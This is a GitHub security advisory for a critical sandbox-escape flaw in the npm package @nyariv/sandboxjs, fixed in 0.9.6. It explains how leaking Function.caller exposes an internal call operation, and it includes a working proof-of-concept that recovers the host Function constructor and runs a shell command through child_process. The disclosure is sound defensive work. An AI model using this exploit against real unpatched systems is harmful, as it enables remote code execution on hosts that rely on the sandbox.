GitHub Advisoryadvisory · npm
GHSA-g8f2-4f4f-5jqw SandboxJS has a sandbox escape via Function.caller leakage of internal call op
CRITICAL
Official page ↗
- Aliases
- CVE-2026-43898
- Ecosystem
- npm
- Packages
- @nyariv/sandboxjs
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-94
- Reviewed
- 2026-05-11
Affected packages
• npm @nyariv/sandboxjs: < 0.9.6 → fixed in 0.9.6
Description
Summary
Sandbox-defined functions expose `Function.caller`, allowing sandboxed code to recover the internal `LispType.Call` runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript.
Details
The vulnerability is in the property access logic registered via `addOps` in prop.ts. Sandboxed code could access the `caller`, `callee`, and `arguments` properties on functions. In the CommonJS build, this allowed sandboxed code to read `Function.caller` and leak a privileged internal `LispType.Call` callback.
In executorUtils.ts `createFunction()` constructs normal host JS functions, and because these are ordinary host functions, sandbox code can observe:
```js
function f(){ return f.caller }
```
That leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal `LispType.Call` op, which is registered in call.ts. The escape was possible because the `LispType.Call` handler accepts a params object from the attacker and uses its fields without authenticating that they came from the executor. if you looked at those branches call.ts:47, call.ts:70, call.ts:149. This means the attacker controls `obj.context`, `obj.prop`, `obj.get`, `context.evals.get` and `a`. This can lead to direct invocation of an internal primitive with forged operands
PoC
```js
const sandb = require('@nyariv/sandboxjs').default;
const sand = new sandb();
const payload = `
const callOp = (function fn() { return fn.caller; })();
function makeContext(capture = () => {}) {
return { ctx: { options: 0 }, evals: { get: capture } };
}
function leakStatic(obj, prop) {
let leaked;
callOp({
done() {},
a() {},
b: [],
obj: { context: obj, prop, get() {} },
context: makeContext((fn) => (leaked = fn, () => 1))
});
return leaked;
}
function callDirect(fn, args) {
let value;
callOp({
done(_, result) { value = result; },
a() {},
b: args,
obj: fn,
context: makeContext()
});
return value;
}
callDirect(leakStatic(Object, 'defineProperty'), [
leakStatic,
'call',
callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [
callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]),
'constructor'
])
]);
let hostFn;
callOp({
done(_, result) { hostFn = result; },
a: leakStatic,
b: [],
obj: {
context: 'return process.getBuiltinModule("child_process").execSync("whoami").toString()',
get() {}
},
context: makeContext()
});
return hostFn();
`;
console.log(sand.compile(payload)().run());
```
Impact
_Sandbox escape leads to RCE_
Related
Alias · CVE (1)
- CVE-2026-43898 SandboxJS is a JavaScript sandboxing library. vulnerability
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness